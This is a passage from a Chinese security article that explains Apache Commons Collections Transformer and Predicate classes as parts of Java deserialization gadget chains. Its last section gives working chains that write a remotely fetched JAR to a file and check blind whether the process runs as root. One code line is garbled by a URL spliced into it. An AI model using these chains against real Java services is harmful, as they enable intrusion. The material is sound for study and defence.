MapTransformer在调用transform方法时 , 将输入函数作为key , 返回类在实例化时参数map的value
public Object transform(Object input) { return iMap.get(input);}NOPTransformer啥也不干的Transformer
public Object transform(Object input) { return input;}SwitchTransformer类似if语句 , 在如果条件为真 , 则执行第一个Transformer , 如果条件为假 , 则执行第二个Transformer
public Object transform(Object input) {for (int i = 0; i < iPredicates.length; i++) {if (iPredicates[i].evaluate(input) == true) {return iTransformers[i].transform(input);}}return iDefault.transform(input);}PredicateTransformer将Predicate包装为Transformer
public Object transform(Object input) { return (iPredicate.evaluate(input) ? Boolean.TRUE : Boolean.FALSE);}StringValueTransformer调用String.valueOf , 并返回结果
public Object transform(Object input) {return String.valueOf(input);}继承自Predicate接口的类AllPredicate在执行多个Predicate , 是否都返回true 。
public boolean evaluate(Object object) {for (int i = 0; i < iPredicates.length; i++) {if (iPredicates[i].evaluate(object) == false) {return false;}}return true;}AndPredicate两个Predicate是否都返回true
public boolean evaluate(Object object) {return (iPredicate1.evaluate(object) && iPredicate2.evaluate(object));}AnyPredicate与AllPredicate相反 , 只要有任意一个Predicate返回true , 则返回true
public boolean evaluate(Object object) {for (int i = 0; i < iPredicates.length; i++) {if (iPredicates[i].evaluate(object)) {return true;}}return false;}EqualPredicate输入的对象是否与类在实例化时提供的对象是否一致
public boolean evaluate(Object object) { return (iValue.equals(object));}ExceptionPredicate在执行evaluate时抛出一个异常
FalsePredicate永远返回False
IdentityPredicateevaluate方法中输入的对象是否与类实例化时提供的类是否一样
public boolean evaluate(Object object) { return (iValue =https://www.isolves.com/it/wlyx/fwq/2020-06-12/= object);}InstanceofPredicate输入的对象是否与类实例化时提供的类的类型是否一致
public boolean evaluate(Object object) { return (iType.isInstance(object));}NotPredicate对evaluate的结果取反操作
public boolean evaluate(Object object) { return !(iPredicate.evaluate(object));}NullIsExceptionPredicate如果输入的对象为null , 则抛出一个异常
NullIsFalsePredicate如果输入的对象为null , 则返回false
NullIsTruePredicate如果输入的对象为null , 则返回true
NullPredicate输入的对象是否为null
OrPredicate类似与条件语句中的或
public boolean evaluate(Object object) { return (iPredicate1.evaluate(object) || iPredicate2.evaluate(object));}TransformerPredicate将一个Transformer包装为Predicate
0x03 使用方法CommonCollection写入文件这种方法通过InvokerTransformr调用构造函数 , 然后再写入文件 。当然 , 这里我们可以使用InstantiateTransformer去实例化FileOutputStream类去写入文件 , 代码如下
new ChainedTransformer(new Transformer[]{new ConstantTransformer(FileOutputStream.class),new InstantiateTransformer(new Class[]{String.class, Boolean.TYPE},new Object[]{"filePath, false}),new InvokerTransformer("write", new Class[]{byte[].class}, new Object[]{getRemoteJarBytes()})}),Gadget版盲注思想类似于Sql的盲注 。我们可以通过如下语句检测java进程是否是root用户
if (System.getProperty("user.name").equals("root")){throw new Exception();}我们可以通过如下cc链 , 执行该语句
TransformerUtils.switchTransformer(PredicateUtils.asPredicate(new ChainedTransformer(new Transformer[]{new ConstantTransformer(System.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getProperty", new Class[]{String.class}}),new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null, new Object[]{"user.name"}}),new InvokerTransformer("toString",new Class[]{},new Object[0]),new InvokerTransformer("toLowerCase",new Class[]{},new Object[0]),new InvokerTransformer("contains",new Class[]{CharSequence.class},new Object[]{"root"}),})),new TransformerUtils.exceptionTransformer(),new TransformerUtils.nopTransformer());
推荐阅读
- 80后架构师教你学ApacheBeam,一个开源统一分布式数据处理编程库
- Apache Airflow的完整介绍
- Apache Ignite 内存速度级的分布式数据库
- IIS、Apache、Tomcat、Nginx、CDN,它们之间有何区别?
- 是什么使Apache Druid非常适合实时分析?
- 2019年最吸引攻击炮火的 Web 框架:WordPress 和 Apache Struts
- 10分钟带你逆袭Kafka!
- Windows系统配置apache+php+mysql环境图文教程
- Linux在同一个服务器上运行Apache、Nginx和HAProxy
- 国家信息安全漏洞共享平台发布Apache Tomcat漏洞安全公告
